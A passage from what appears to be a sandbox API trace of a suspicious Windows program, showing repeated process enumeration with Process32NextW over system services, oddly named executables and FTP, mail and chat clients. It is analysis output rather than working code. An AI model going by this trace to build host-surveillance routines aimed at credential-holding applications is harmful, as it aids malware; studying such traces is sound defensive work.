out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.425] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="exec.exe.bak.exe")) returned 1 [0105.426] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="exec.exe.bak.exe")) returned 1 [0105.427] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0105.428] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0105.429] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x100c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1164, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0105.430] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1024, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xef0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0105.431] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0105.432] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 0 [0105.433] CloseHandle (hObject=0x324) returned 1 [0105.433] Sleep (dwMilliseconds=0x1f4) [0106.013] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x324 [0106.024] Process32FirstW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0106.025] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0106.026] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0106.027] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0106.028] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0106.030] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0106.031] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0106.032] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0106.033] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0106.034] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.035] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0106.036] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0106.037] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.038] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0106.039] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x58, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.041] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.042] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.043] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.045] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.046] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.047] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.048] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.049] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.050] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.138] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0106.139] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.140] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0106.141] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0106.142] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.143] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0106.144] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0106.145] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0106.145] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0106.147] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0106.148] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0106.149] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0106.149] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0106.150] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0106.151] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="actuallyutilization.exe")) returned 1 [0106.152] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0106.154] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="midnight_conclusions_venezuela.exe")) returned 1 [0106.155] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="capture guardian kits.exe")) returned 1 [0106.156] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="nursing op deputy.exe")) returned 1 [0106.157] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scenariooperatingdts.exe")) returned 1 [0106.158] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ranksphysicians.exe")) returned 1 [0106.159] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="inf distributors.exe")) returned 1 [0106.160] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="sa_surf_dig.exe")) returned 1 [0106.161] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="powered.exe")) returned 1 [0106.162] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fiction.exe")) returned 1 [0106.163] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="methodology-iowa-inclusion.exe")) returned 1 [0106.164] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mhz.exe")) returned 1 [0106.165] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="stores predictions calculations.exe")) returned 1 [0106.166] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ogmothers.exe")) returned 1 [0106.167] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="beside-bedford.exe")) returned 1 [0106.168] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="curves.exe")) returned 1 [0106.170] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="vi-ieee.exe")) returned 1 [0106.170] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="costa.exe")) returned 1 [0106.171] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0106.172] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0106.175] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0106.279] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0106.280] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0106.282] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0106.284] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0106.286] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0106.287] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0106.289] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0106.291] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0106.293] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0106.296] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0106.297] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0106.299] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0106.301] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0106.303] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0106.304] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: 